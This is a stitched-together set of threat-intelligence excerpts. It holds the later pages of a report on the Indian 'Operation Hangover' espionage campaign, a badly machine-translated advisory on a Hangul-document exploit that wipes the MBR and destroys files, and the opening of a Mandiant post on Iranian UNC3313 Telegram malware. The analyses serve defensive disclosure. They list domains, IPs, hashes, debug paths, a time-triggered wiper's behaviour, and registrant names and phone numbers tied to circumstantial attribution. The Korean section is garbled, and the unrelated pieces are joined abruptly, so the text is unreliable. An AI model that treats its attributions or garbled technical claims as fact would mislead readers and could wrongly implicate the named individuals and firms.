The following have been seen in connection with this family: Boundary parameters vary between versions.
The following have been seen in connection with this family: String content consists of some strings largely static between variants, and some that vary.
Non-static strings are browser UserAgent strings, MIME boundary tags, mutexes, domain names, paths, and registry keys, which also may be obfuscated by being fragmented.
Many Hanove variants use a simple rotating encoding scheme to hide the interesting strings.
For example, the domain wearwellgarments.eu is hidden as xfbsxfmmhbsnfout/fv and the word php becomes qiq.
Different variants are frequently given internal names, visible through debug paths included in the binary.
Such internal names used include HangOver, Ron, Dragonball, Tourist, Klogger, FirstBlood and Babylon.
There are several other malwares and tools in use.
See appendix C for more indicators.
EMSCBVDFRT, EMSFRTCBVD, FMBVDFRESCT, DSMBVCTFRE, MBESCVDFRT, MBVDFRESCT TCBFRVDEMS, DEMOMAKE, DEMO, UPHTTP, sendFile F39D45E70395ABFB8D8D2BFFC8BBD152,  90B452BFFF3F395ABDC878D8BEDBD152 FFF3F395A90B452BB8BEDC878DDBD152,  5A9DCB8FFF3F02B8B45BE39D152 5A902B8B45BEDCB8FFF3F39D152,   78DDB5A902BB8FFF3F398B45BEDCD152 2BB8FFF3F39878DDB5A90B45BEDCD152,  905ABEB452BFFFBDC878D83F39DBD152 D2BFFC8BBD152F3B8D89D45E70395ABF,  8765F3F395A90B452BB8BEDC878 90ABDC878D8BEDBB452BFFF3F395D152, F12BDC94490B452AA8AEDC878DCBD187 Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 18 Target selection We have direct knowledge of only one attack  the one against Telenor.
During this investigation we have obtained malware samples and decoy documents that have provided indications as to whom else would be in the target groups.
We have observed the usage of peculiar domain names that are remarkably similar to existing legitimate domains.
We have also obtained sinkhole data for a number of domains in question and found open folders with stolen userdata in them enough to identify targets down to IP and machine name/domain level.
This showed a geographical distribution where Pakistan was the most affected in volume, but also showed a multitude of other countries being represented.
Note that these data should be taken as indicative only.
IP counts are misleading for many reasons.
One machine can generate many IP addresses, and some IP addresses are probably lab machines.
However, the indication that Pakistan is the most prevalent target seems solid.
In the following pages weve highlighted some of the files we have seen used to attack organizations in different countries.
As can be seen from the examples the attackers have gone to great lengths to make the social engineering aspect as credible and applicable as possible.
511 91 34 28 24 14 13 8 7 6 6 5 4 4 4 4 3 3 3 2 2 2 2 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 PK IR US TW SG IN CN OM RU CA PA TH DE FR JO PL Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 19 Pakistan The most obvious target seems to be Pakistan.
As is visible above, computers in Pakistan are by far the most active in connecting to malicious domains.
We found logs in the open drop folders that contained suggestive data, such as this snippet from a 2012 log entry (subdomain redacted): Sinkhole-logged HTTP requests are also informative, such as this seemingly from a Pakistani embassy: GET /sdata/shopx.php?folEMBASSYOFPAKIST-Embassy20of20Pakistan..... Decoy files tailored towards Pakistan revolve around the ongoing conflicts in the region, regional culture and religious matters.
Pakistani soldiers praying in Karakoram.
Apparent source: http://photography.nationalgeographic.com/photography/enlarge/praying-soldiers_pod_image.html Host Name:                  PC-PS2CHAIRMAN Registered Owner:          admin Time Zone:                  (GMT05:00) Islamabad, Karachi Domain:                     .gov.pk Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 20 Google images of the Mendhar region in India.
There was a border clash there recently.
http://jammu.greaterkashmir.com/news/2013/Jan/12/mendhar-incident-creates-panic-among-border-residents-29.asp A review of Indian future weapon acquisitions.
It seems to be sourced from defence.pk Additional examples can be found in Appendix B. http://jammu.greaterkashmir.com/news/2013/Jan/12/mendhar-incident-creates-panic-among-border-residents-29.asp Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 21 China China is another country which apparently has been targeted to some extent.
For example, we found a data dump and keylog seemingly harvested from a computer belonging to a Chinese academic institution.
This dump was generated in July 2012 and contains Word documents, PowerPoint presentations and images.
Uploaded archives of harvested data.
Decoys are also present, but not in the amount as is seen against Pakistani targets.
Chinese decoy, a scanned document named court_order.jpg.
This is a notification to the family of a criminal about his jail sentence.
Language is simplified Chinese likely mainland China.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 22 The Khalistan movement This is a political secessionist movement aiming to create a sovereign Sikh nation in the region of Punjab in India.
Violent episodes between supporters of the Khalistan movement and government forces have occurred through history since the movements creation in 1971.
Examples of malware apparently aimed at the movement are md5s a4a2019717ce5a7d7daec8f2e1cb29f8 and f70a54aacde816cb9e9db9e9263db4aa.
The former appears to be this file: http://f00dlover.info/Khalistan/Victims_want_Sajjan_Kumar_punished.doc.zip It is interesting to note that f00dlover.info has historically shared the IP address 173.236.24.254 with many other domains belonging to this infrastructure  for example the domain researcherzone.net which was used in the Telenor intrusion.
There are also a number of domains with active web pages that used to exist on this IP for example khalistancalling.com.
Khalistancalling.com has since moved on to another bad IP (46.182.104.83) and must be considered owned by the attackers.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 23 The Nagaland movement The Nagaland (or Nagalim) movement is another secessionist group aiming to create a sovereign homeland for the Naga people living in North-Eastern India and North-Western Burma.
We have seen at least two attacks apparently aimed at them.
A sample from 2010, md5 168f2c46e15c9ce0ba6e698a34a6769e, showed a scanned document which appears to be a letter from the President of Nagalim.
The malware sample also installed an executable which in turn connected back to the domain zeusagency.org on the IP 176.31.65.124.
Zeusagency.org has hosted different malware one (3105b020e2bd43924404bc4e3940191b) connected to fistoffury.net on the IP 176.31.65.126.
The IP range 176.31.65.124 - 176.31.65.127 contains a series of domains used by Gimwlog and Auspo malwares.
These are somewhat different from the standard Hanove series, though functionality is roughly equivalent.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 24 Another malicious installer (md5 f1799d11b34685aa209171b0a4b89d06) contained the following decoy: The malware included connects to the domain global-blog.net.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 25 Industrial espionage While the Telenor case was most likely industrial espionage, we were initially unaware of other non- strategic/political targets by this attack group, but during our research we discovered several related attack files that were clearly targeting businesses.
As can be seen in the example below, the social engineering aspects are more related to business content.
We want to emphasize that except in the case of BUMI PLC, we have no information to suggest that any of the organizations named in the following pages have been compromised.
However, the available information strongly indicates that they were targets of interests for the attackers.
Likely target: Eurasian Natural Resources Corporation (ENRC) This company which is headquartered in London has operations in multiple countries, notably in Kazakhstan.
The following malwares appear to be aimed at ENRC.
ENRC__DEBT__INVESTORS__2012__for__your__Reference.exe (MD5 e40205cba4e84a47b7c7419ab6d77322) Deatils_for_the_ENRC_Board_Meeting_X1098977e79.exe (MD5 a5a740ce2f47eada46b5cae5facfe848) Details_for_the_ENRC_Board_Meeting_X10FR333_2012.exe (MD5 2895a9b0cf22cd45421d634dc0f68db1) Detail_description_of_ferro_chrome_silicon_and_ferro_chrome.exe (MD5 2102a18dc20dc6654c03e0e74f36033f) Gerhard_Ammann_Article_Content_From_Wikipedia.exe (MD5 d96aa87c25c9c491bee97aad65bafc9e) Gerhard Ammann is also affiliated with ENRC.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 26 Known target: Bumi PLC, Indonesia When searching for known instances of domains belonging to the attack infrastructure, we found a published incident report made by Context Information Security (2).
This report details how the Chairman of Bumi PLC, Mr Samin Tan, had been exposed to a spear-phishing attack in July 2012.
Bumi is an international mining group listed on the London Stock Exchange.
Source: Context Information Security.
Both the domains mentioned in this report have been connected to the attack group investigated.
For example, the malware executable dua2alhycox12.exe (c94267ba9c92f241379cdceed58777dc) connects to hycoxcable.com, which anoniemvolmacht.com historically acted as name server for.
The latter domain has also shared IP with the malicious domain chronicleserv.org.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 27 Likely target: Porsche Informatik A malware using the name webmailapp.exe (22a3a1d5a89866a81152cd2fc98cd6e2) is a self-extracting archive containing several files, among them a batch file opening a shortened URL pointing to Porsche Holdings webmail front in Austria.
Target must be assumed to be persons affiliated with Porsche.
Again, we have no information as to whether any intrusion has occurred.
The webmail front of Porsche in Austria.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 28 Possible target: Restaurant industry It appears unlikely that the restaurant and food industry should be the victim of targeted attacks.
However, thats how it appears.
One indicator is the decoy file below, taken from the malicious executable Horsemeat_scandal_another_Irish_company_suspends_burger_production.exe (f52154ae1366ae889d0783730040ea85).
Guardian article about a horsemeat scandal in Ireland.
Target is unknown, but file was first submitted to the VirusTotal scan service from Great Britain.
Another indicator is the use of certain domain names, like the malicious bluebird- restaurant.co.uk.infocardiology.biz vs the legitimate bluebird-restaurant.co.uk.
The latter is a restaurant in Chelsea, UK.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 29 Likely target: Chicago Mercantile Exchange While investigating the malicious domain web-mail-services.info, we found a number of other domains that had shared the IP address 188.95.48.99 with it.
One of these domains was cmegroups.net, a spoof of cmegroup.com the domain belonging to Chicago Mercantile Exchange.
CME is the worlds largest futures exchange company (3).
An entry on WIPO (4), the UN arbitration body for domain name disputes, shows that a complaint regarding this domain name was leveled by CME against PrivacyProtect.org in 2012.
The complaint was not disputed, and domain transferred to CME.
However, the most interesting information is found in the case details.
Source:wipo.net An interesting question is of course whether there were any attachments to this mail.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 30 Other suggestive domain names that have been used include: server721-hans.de-nservers.de.continuelogs.info vs. server721-han.de-nserver.de: The latter is the mail server for several German businesses, for example restaurants.
www.alintiqad-newsonline.blogspot.com.continuelogs.info vs www.alintiqad.com: The latter is a Lebanese newspaper in Arabic.
account.istpumpenunddosiertechnik.de.continuelogs.info vs istpumpenunddosiertechnik.de: The latter is a German producer of pumps for high-viscosity fluids.
deltaairlines.com.config.services.data.sesion.24s.digitalapp.org.evitalcare.org vs deltaairlines.com: Delta Airlines.
mail.telenor.no-cookieauth.dll-getlogon-reason-0.formdir-1-curl-z2fowaz2f.infocardiology.biz vs mail.telenor.no: Telenor lynberrg.com vs lynberg.com: The latter belongs to Lynberg  Watkins, a US-based law firm.
mail.carmel.us.exchweb.bin.auth.owalogon.asp.serviceaccountloginservicemail.info vs mail.carmel.us:  The latter is the webmail address of CarmelCarmel, a US-based law firm.
armordesigns.com.webmail-login.php.web-mail-services.info vs armordesigns.com: The latter is a US-based manufacturer of composite materials for armor: We do not know (yet) what purpose all these domains have, but its hard to imagine that the name spoofing is done by anything but malicious intent it is a common tactic in targeted attacks.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 31 Attribution The continued targeting of Pakistani interests and origins suggested that the attacker was of Indian origin.
Project and debug paths Curiously, many of the executables we uncovered from related cases contained cleartext project and debug path strings (see Appendix D for full list).
It is not very common to find malware with debug paths, but these particular threat actors did not seem to mind leaving such telltale signs, or maybe they were unaware of their presence.
These paths gave more indicators that the attackers were Indian.
First, many of the Visual Basic keyloggers contained the name Yash, which might be an abbreviation for several Indian names.
The trojans used against Telenor did not contain any such person name, but the Visual Basic project name is clearly related to others: Telenor case (02d6519b0330a34b72290845e7ed16ab, bfd2529e09932ac6ca18c3aaff55bd79) C:\miNaPro.vbp Related cases (4ad80ff251e92004f56bb1b531175a49, 3d6a8b2df08443c2aa4b6a07a9b55b16) D:\YASH\PRO\MY\DELIVERED\2012\DOWNLOADERS\compiled\NewSmack(sep2012)\miNaPro.vbp This similarity is not coincidental these trojans are based on the same code and exhibit similar behaviour.
This and other text strings we initially saw gave further hints towards Indian attackers.
R:\payloads\ita nagar\Uploader\HangOver 1.5.7 (Startup)\HangOver 1.5.7 (Startup)\Release\Http_t.pdb C:\Users\neeru rana\Desktop\Klogger- 30 may\Klogger- 30 may\Release\Klogger.pdb C:\Users\Yash\Desktop\New folder\HangOver 1.5.7 (Startup) uploader\Release\Http_t.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 32 A managed environment The project paths also give a rare glimpse into something we almost never see  a managed malware creation environment, where multiple developers are tasked with specific malware deliverances.
This is visible in the way the projects themselves are organized: ...Desktop\Feb 2012\kmail(httpform1.1) ... ...May Payload\new keylogger\Flashdance1.0.2\... ...\Monthly Task\August 2011\USB Prop\... ...\Sept 2012\Keylogger\Release\... ...\June mac paylods\final Klogger-1 june-Fud from eset5.0\Klogger- 30 may\... ...ner\Task\HangOver 1.2.2\Release... ...\august\13 aug\HangOver 1.5.7 (Startup) uploader\... ...\task information\task of september\Tourist 2.4.3... ...\final project backup\complete task  of ad downloader  usb grabberuploader\... ..D:\YASH\PRO\MY\DELIVERED\2012\DOWNLOADERS\compiled\..
There are many diverging project paths which points towards different persons working on separate subprojects, but apparently not using a centralized source control system.
The projects seem to be delegated into tasks, of which some seem to follow a monthly cycle.
There are hints at team structures, like the string VB Team Matrix Production found in a sample (fa6d2483f766f8431b6c0a8c78178d48), an indication that a separate team works with Visual Basic development.
Some series of malware contain strings like delivered, which, together with the loose project structures may indicate that development work is being outsourced.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 33 The word Appin.
In a great number of isolated cases and contexts, the word Appin shows up and there seems to be some connection with the Indian security company called Appin Security Group.
By this, we are not implicating or suggesting inappropriate activity by Appin.
Maybe someone has tried to hurt Appin by falsifying evidence to implicate them.
Maybe some rogue agent within Appin Security Group is involved, or maybe there are other explanations.
Getting to the bottom of that is beyond our visibility.
For example, the strings Appin, AppinSecurityGroup, and Matrix are frequently found inside executables.
One example of this peculiarity is debug paths inside malware files: One should note that anyone can add or change such text strings.
C:\BNaga\backup_28_09_2010\threads tut\pen-backup\BB_FUD_23\Copy of client\ Copy of client\appinbot_1.2_120308\Build\Win32\Release\appinclient.pdb C:\BNaga\kaam\Appin SOFWARES\RON 2.0.0\Release\Ron.pdb C:\BNaga\SCode\BOT\MATRIX_1.2.2.0\appinbot_1.2_120308\Build\Win32\Release\deleter.pdb C:\Documents and Settings\Administrator\Desktop\Backup\17_8_2011\MATRIX_1.3.4\CLIENT\ Build\Win32\Release\appinclient.pdb D:\Projects\Elance\AppInSecurityGroup\FtpBackup\Release\Backup.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 34 Domain registrations As mentioned, the privacy-protection of domain registrations is almost perfect, but only almost.
There are a large number of domains used, and a few of these have been suspended and lost their privacy protection.
For example, the following malicious domains all used the same registration information NITR0RAC3.COM, VALL3Y.COM, S3RV1C3S.NET, GAUZPIE.COM, BLUECREAMS.COM: Registrant: NA Prakash        (mailgmail.com) Jain TY-76, Kohat Enclave Delhi Delhi,110034 IN Tel.
011.9873456756 Identical registration information is also used for other domains that seem unrelated to the attack infrastructure, like hackerscouncil.com which May 12th 2011 had the following entry (source: gwebtools.com).
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 35 April 3th 2011, a little over a month before the registration entry above, hackerscouncil.com was registered by Appin Technologies (5).
This is possibly a coincidence.
HACKERSCOUNCIL.COM Registrant: Appin Technologies Rakesh Gupta        (rakesh.guptaappinonline.com) 9th Floor, Metro Heights,NSP, PitamPura, Delhi Delhi,110034 IN Tel.
91.1147063300 Creation Date: 17-Sep-2009 Expiration Date: 17-Sep-2011 The domain piegauz.net, which was used as a Command and Control domain for several trojan configurations was created April 21st 2010 and had the following initial registration information: PIEGAUZ.NET Registrant: PrivacyProtect.org Domain Admin        (contactprivacyprotect.org) P.O.
Box 97 Note - All Postal Mails Rejected, visit Privacyprotect.org Moergestel null,5066 ZH NL Tel.
45.36946676 One trojan using this domain (md5 4a44b6b6463fa1a8e0515669b10bd338) was submitted to the ThreatExpert analysis service October 28th 2010, at which time the domain was operational and accepted uploads from the malware (6).
Three days later, October 31st 2010, the domain got suspended, which removed its privacy protection: PIEGAUZ.NET Registrant: Appin Technologies Rakesh Gupta        (rakesh.guptaappinonline.com) 9th Floor, Metro Heights,NSP, PitamPura, Delhi Delhi,110034 IN Tel.
91.1147063300 Creation Date: 21-Apr-2010 Expiration Date: 21-Apr-2011 The domain bluecreams.com was initially registered by Appin Security Solutions Pvt.
Ltd. Sept 17th 2009.
The day after it was put under privacy protection.
In the period from end of June 2010 to February 2011 it was documented as download domain for several trojans (7).
It was suspended Apr 18th 2011 and then displayed the already mentioned Prakash Jain as registrant.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 36 Another example is the domain zerodayexploits.org.
This domain has a history of resolving to a series of malicious IP addresses used for malware attacks (173.236.24.254, 8.22.200.44).
This web site which offers bounties for zeroday exploits, claims to be founded by Appin Morpheus and powered by Appin.
Source: bgwhois.com Also the live behaviour of some domains shows the word Appin.
The malicious domains alr3ady.net, wearwellgarments.eu, ezservicecenter.org, secuina.net, go-jobs.net, shoperstock.com and maxtourguide.info inhabit the IP space 178.32.75.192 - 178.32.75.197.
All these IPs return a recognizable ESMTP banner: telnet 178.32.75.193 587 Trying 178.32.75.193...
Connected to 178.32.75.193.
Escape character is ].
220 transformer13_appin ESMTP Exim 4.80.1 Sat, 23 Mar 2013 20:36:34 0300 Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 37 Other interesting indicators were found when we examined the domain softservices.org a domain which has held several of the known malicious IP addresses used by this group (46.182.104.83, 94.185.81.153, 89.207.135.242).
However, even if the domain was obviously connected, we could find no malware that used it.
Instead, we found this forum post on the Nokia developer forum: Developer username redacted.
The interesting bit was found further down this thread, where the developer posted a snippet of source code: This piece of code appears used for uploading mobile data like IMEI number to softservices.org.
We then found the apparent developers profile on Elance, an online employment service for freelance programmers.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 38 The developers CV on Elance (name redacted).
Based on this we suspect that there are or have been projects to develop mobile malware by this group, even if we have not found any related mobile malware in our databases.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 39 Mantra Tech Ventures and INNEFU Mantra Tech Ventures is the registration service for several of the malicious domains that have been in use.
The service first came to our attention because it was used for registering the Command  Control domains cobrapub.com, mymyntra.net, and n00b4u.com.
In addition, Mantra Tech Ventures owns abhedya.net, which seems to be a name server service for domains registered by them.
Abhedya has been used by several sites in the attack infrastructure like currentnewsstore.com, crvhostia.net, webmicrosoftupdate.net and fuzzyfile.net.
Abhedya is also visible in the PIEGAUZ.NET name server history: Event Date      Action          Pre-Action Server       Post-Action Server  2010-04-22      New             -none-                  Abhedya.net 2010-04-23      Transfer        Abhedya.net             Piegauz.net 2010-11-01      Delete          Piegauz.net             -none- 2010-11-04      New             -none-                  Suspended-domain.com 2010-11-11      Transfer        Suspended-domain.com    Piegauz.net 2012-04-23      Transfer        Piegauz.net             Foundationapi.com 2012-06-02      Delete          Foundationapi.com        -none- 2012-07-09      New             -none-                  Above.com abedhya.net is currently a privacy protected domain, but it used to be registered by one Arun Bansal, CEO and founder of Mantra Ventures and the Ethical Hacking Institute hackingtruths.org.
Domain Name: ABHEDYA.NET Registrant: HackingTruths Arun Bansal        (arunhackingtruths.org)   Delhi,110085 IN The domain appinonline.com is also hosted on the cloud service mantragrid.com, a Mantra Ventures company.
There is another interesting detail: We found a connection log on one of the open drop folders earlier mentioned.
This log folder was named test and data in it was uploaded from an IP belonging to the French provider OVH.
The log contained data from a lab test PC whose registered owner was innefu.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 40 There is indeed an Indian information security consulting group named Innefu.
The domain innefu.com was registered by the same Arun Bansal.
Innefu also hires ethical hackers: It is possible that Mantra Tech Ventures hosted the malicious sites by coincidence, and it is possible that INNEFU (if indeed the mentioned log came from them) just happened to run the malware in an automatic test system like many other security vendors do as part of their malware analysis research.
Conclusion When researching the attack against Telenor we were able to uncover that actors apparently operating from India have been conducting attacks against business, government and political organizations around the world for over three years.
There are also indicators of involvement by private sector companies or persons connected to these, though these data are circumstantial and may be attempts to implicate said companies.
We have no visibility into whether the attacks were done on behalf of others, and if so who commissioned them or whether all attacks were commissioned by one entity or by several.
The methods used were primarily based on different social engineering tactics rather than exploits, but history has shown that social engineering based attacks can be very successful, confirmed once again by looking at the data we have been able to uncover.
Organizations today need to realize that its not a matter of whether they will be compromised but a question of when and have a plan in place for how to deal with those compromises.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 41 Bibliography 1.
Scumware.org.
Scumware search.
scumware.org.
[
Online] http://www.scumware.org/report/173.236.24.254.
2.
MacKenzie, Stuart.
[
Online] http://www.thetimes.co.uk/tto/multimedia/archive/00372/DOC100113- 100120132_372895a.pdf.
3.
Wikipedia.
CME Group.
Wikipedia.
[
Online] http://en.wikipedia.org/wiki/CME_Group.
4.
WIPO.
WIPO Arbitration and Mediation Center.
WIPO.
[
Online] http://www.oapi.wipo.net/amc/en/domains/search/text.jsp?caseD2012-1666.
5.
Domaintools.
Domaintools History.
Domaintools.
[
Online] http://www.domaintools.com/research/whois- history/?pagedetailsdomainhackerscouncil.comdate2011-04-03.
6.
ThreatExpert Analysis.
ThreatExpert.
[
Online] http://www.threatexpert.com/report.aspx?md54a44b6b6463fa1a8e0515669b10bd338.
7.
Scumware.org.
Scumware search.
Scumware.org.
[
Online] http://www.scumware.org/report/bluecreams.com.
8.
Viruswatch.
Virus-sites with status changes.
Clean-MX.com.
[
Online] http://lists.clean- mx.com/pipermail/viruswatch/20110317/023586.html.
Passive DNS data provided by ISC Security (https://security.isc.org/) Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 42 Appendixes (available in a separate document) A.
Samples extracted from Telenor intrusion B.
Some related cases based on behaviour and malware similarity parameters.
C. Malware string indicators D. Project and debug paths extracted from executables E. Domain names connected to case F. IP addresses connected to case G. Sample MD5s Norman Shark is a global leader and pioneer in proactive security software solutions and forensics malware tools.
Norman Shark offers enterprise customers a portfolio of solutions for analyzing and building defensible networks against advanced targeted attacks.
Formerly part of Norman AS, a Norway-based IT security company established in 1984, Norman Shark became an independent company in January 2013, to allow the company to focus on developing solutions for  Threat Discovery, security analytics and ICS protection to address the growing needs of the enterprise market.
Contact Us: 1855 1st Ave.,
Suite 201 San Diego, CA  92101 1.888.466.6762 Strandveien 37 Lysaker, Norway 47-67-10-97-00 www.normanshark .com Bibliography Appendixes (available in a separate document)
Vulnerability, malicious code appeared in the MBR destruction function using Hangul file Malware Information 2014/12/10 18:12 Vulnerabilities recently received a file with the destruction and MBR destruction capabilities for major extension to the existing file in addition to the backdoor functionality that existed in Hangul document file is received attention is required.
December 9, 2014 received the first vulnerability Hangul document files were used for both groups known vulnerabilities, patching does not work on the latest products.
Total of 9 document file has been received, and all of the same malicious file therein.
1.
The files and services that generate System registered the generated DLL as a service to the folder / drive upon, information that is used has a list on the inside of malicious code, and select one of the items below at random.
[
Service name] - BitLocker Drive Decryption Service - Internet Connection Service - Media Center Service - Network Storage Service - Peer Networking Address - PNRP Machine Name - Power Policy - Program Compatibility Service - Remote Registry Configuration - Smart Card Management Service - Tablet PC Management Service - Task Schedule Manager - Thread Ordering Service - WebClient Manage Service - Windows Color Adjustment - Windows Modules Management - Windows Time Synchronization - Wired Config Service - WLAN Config Service - Workstation Management [Create file] - Bddsvc.dll file:///1015 file:///category/C3ACE280A2E280A6C3ACE2809EC2B1C3ACC2BDE2809DC3ABE2809CC59320C3ACC2A0E280A2C3ABC2B3C2B4 - iconsvc.dll - ehressvc.dll - netstsvc.dll - pnas.dll - pnrpmchname.dll - pwpsvc.dll - pcssvc.dll - rregconf.dll - scardmngsvc.dll - tcpmsvc.dll - tschmng.dll - mmthread .dll - wcmngsvc.dll - coladj.dll - wndmodmng.dll - timesyncsvc.dll - wiredconfsvc.dll - wlanconf.dll - wstmng.dll Service Description - BDESVC hosts the BitLocker Drive Decryption service.
-
Provides network address Translation, Addressing, name resolution and / or Intrusion Prevention Services for a home or Small Office network.
-
Allows Media Center to Locate and Connect to the Computer.
-
This service Delivers network Notifications (E. - Enables Multi-party using Peer-to-Peer Communication Connecting.
-
This service publishes a machine name using the Peer Name Resolution Protocol.
-
MANAGES power policy and power policy Delivery Notification.
-
This service Provides Support for the Program Compatibility Assistant (PCA).
-
Enables remote users to modify Registry configurations on this Computer.
-
Access to Smart Cards MANAGES read by this Computer.
-
Enables Tablet PC Ink PEN and functionality - Enables a user to Configure and Schedule Automated tasks on this Computer.
-
Provides Execution ordered for a Group of threads within a specific period of time.
-
Enables Windows-based Programs to create, Access, and modify Internet- Files based.
-
The service hosts third-party WcasPlugInService Windows Color System color and gamut map Device Model Model Plug-in modules.
-
Enables Installation, modification, and Removal of Windows updates and Optional Components.
-
Maintains date and time Synchronization on all clients and Servers in the network.
-
The Wired AutoConfig (dot3svc) service is responsible for Performing IEEE 802.1X - The WLANSVC service Logic Provides the Required to Configure, Discover, Connect to, and disconnect from a Wireless local Area network.
-
Creates and maintains client network connections to remote server using the SMB protocol 2.
MBR destruction time MBR destruction is done through a number value of the registry key value of the items checked below (0 if the destructive behavior than the largest value) is set to 0 value at the time of initial infection.
The following [Figure 1] shows the contents of the registry key PcaSvcc items registered by the malware.
MBR destruction operations to determine the value of number entry through the time information of the users system after December 10, 2014 11:00 a.m. when a, is set to non-zero value is, the MBR is destroyed feature to work .
Figure -1] MBR destruction upon reference to the registry value In [Figure 2] shows a code section that compares the time information for determining a destruction inside MBR infection.
Malicious code stored in the internal 0x780D0C33 value and the operation to compare the time information through a specific operation of the system time obtained by the GetLocalTime function call can be seen that true.
Figure -2] MBR destruction timecode to compare 3.
MBR destruction techniques MBR destruction is overwritten for the 0x200 (512 bytes), it can be seen the data filled in as shown in [Figure 3] below.
Infection, A  Z, the same process is repeated for all the drives.
Figure -3] MBR data The following [Figure 4] is overwritten with the contents of the MBR code, and has the ability to output the string during boot Who Am I?.
Figure -4] MBR code The following [Figure 5] After MBR infection, a screen visible to the user reboots.
[
Figure 5] boot screen 4.
File destructive features Malicious code can destroy the functionality of a file having a particular extension in addition to destruction together also has functions for the MBR.
Destroy the target file identified to date are: - HWP - doc - PDF - docx - ALZ - ZIP - RAR - egg - iso - EXE - dll - sys Locate the files with the extension of the above A  Z drive changes and performs a process to fill a NULL value to 4096 bytes (4K) size.
5.
Hangul vulnerability information Received nine vulnerabilities Hangul document and the contents hereof are both used the same vulnerability varies.
In [Figure 6] shows the portion of the shell part and the operation code for generating a vulnerability.
The layout of paragraphs in Hangul document and vulnerability occurs in the course of processing the part that is responsible (HWPTAG_PARA_LINE_SEG) and, shellcode (ShellCode) and heap spray insert a paragraph of text for (Heap Spray) (HWPTAG_PARA_TEXT) is used was.
[
Figure 6] vulnerability occurs Hangul part 6.
Related Files MD5 and V3 diagnostic information on malicious files identified vulnerability Hangul file and generated by the current is as follows.
-
54783422cfd7029a26a3f3f5e9087d8a (V3: HWP / Exploit, 2014.12.10.06) - b5b6e93ab27cec75f07af2a3a6a40926 (V3: HWP / Exploit, 2014.12.10.02) - 800866bbab514657969996210bcf727b (V3: HWP / Exploit, 2014.12.10.02) - ead682b889218979b1f2f1527227af9b (V3: HWP / Exploit, 2014.12.
10.02) - f09ea2a841114121f32211faac553e1b (V3: HWP / Exploit, 2014.12.09.06) - 9daf088fe4c9a9580216e98dbb7d1fca (V3: HWP / Exploit, 2014.12.09.06) - 3ec69ee7135272e5bed3ea5378ade6ee (V3: HWP / Exploit, 2014.12.11.05) - 33874577bf54d3c209925c9def880eb9 (V3: HWP / Exploit, 2014.12.11.05) - af792a34548a2038f034ea9a6ff0639a (V3: HWP / Exploit, 2014.12.11.05) - 3BA8A6815F828DFC518A0BDBD27BBA5B (V3: Trojan / Win32.Destroyer, 2014.12.10.00) 7.
Countermeasures In order to prevent a malware infection is necessary to always maintain a Hangul program, and program-to-date antivirus update state.
In addition, the vulnerability has been identified as Hangul document files are disseminated in the form of a person to e-mail attachments.
For unascertained sender or unresolved attachment, the procedure to ensure that there is no problem in security is required before execution.
1/19 Left On Read: Telegram Malware Spotted in Latest Iranian Cyber Espionage Activity mandiant.com/resources/telegram-malware-iranian-espionage In November 2021, Mandiant Managed Defense detected and responded to an UNC3313 intrusion at a Middle East government customer.
During the investigation, Mandiant identified new targeted malware, GRAMDOOR and STARWHALE, which implement simple backdoor functionalities.
We also identified UNC3313 use publicly available remote access software to maintain access to the environment.
UNC3313 initially gained access to this organization through a targeted phishing email and leveraged modified, open- source offensive security tools to identify accessible systems and move laterally.
UNC3313 moved rapidly to establish remote access by using ScreenConnect to infiltrate systems within an hour of initial compromise.
Through the rapid coordination of Mandiant Managed Defense and our customers security team, the incident was quickly contained and remediated.
Mandiant assesses with moderate confidence that UNC3313 conducts surveillance and collects strategic information to support Iranian interests and decision-making.
Targeting patterns and related lures demonstrate a strong focus on targets with a geopolitical nexus.
This blog post covers the details of an intrusion conducted by UNC3313, along with malware and publicly available tools that were identified during our investigation.
Attribution Mandiant uses the label UNC groupsor uncategorized groupsto refer to a cluster of intrusion activity that includes observable artifacts such as adversary infrastructure, tools, and tradecraft that we are not yet ready to give a classification such as TEMP, APT, or FIN (learn more about how Mandiant tracks uncategorized threat actors).
Mandiant assesses with moderate confidence that UNC3313 is associated with TEMP.Zagros (reported in open sources as MuddyWater), an Iran-nexus threat actor active since at least May 2017, based on currently available information.
TEMP.Zagros has consistently updated their toolkit over the years, using malware such as POWERSTATS, POWGOOP, and MORIAGENT in spear-phishing operations.
The groups use of ScreenConnect for initial compromise is well documented in open sources.
Notably, on January 12, 2022, the U.S. government publicly stated it considers TEMP.Zagros as subordinate to the Iranian Ministry of Intelligence and Security (MOIS) and disclosed samples of malware families (POWGOOP and MORIAGENT) in use by the group since at least 2020.
Targeting In the second half of 2021, Mandiant identified an UNC3313 campaign using GRAMDOOR and STARWHALE to target Middle Eastern government and technology entities.
TEMP.Zagros has historically targeted these regions and sectors throughout the Middle East and Central and South Asia, including government, defense, telecommunications, energy, and finance.
Targeting patterns and related lures demonstrate a strong focus on targets with a geopolitical nexus and the telecommunications sector in the Middle East.
Malware Observed Mandiant observed UNC3313 deploy the following malware families.
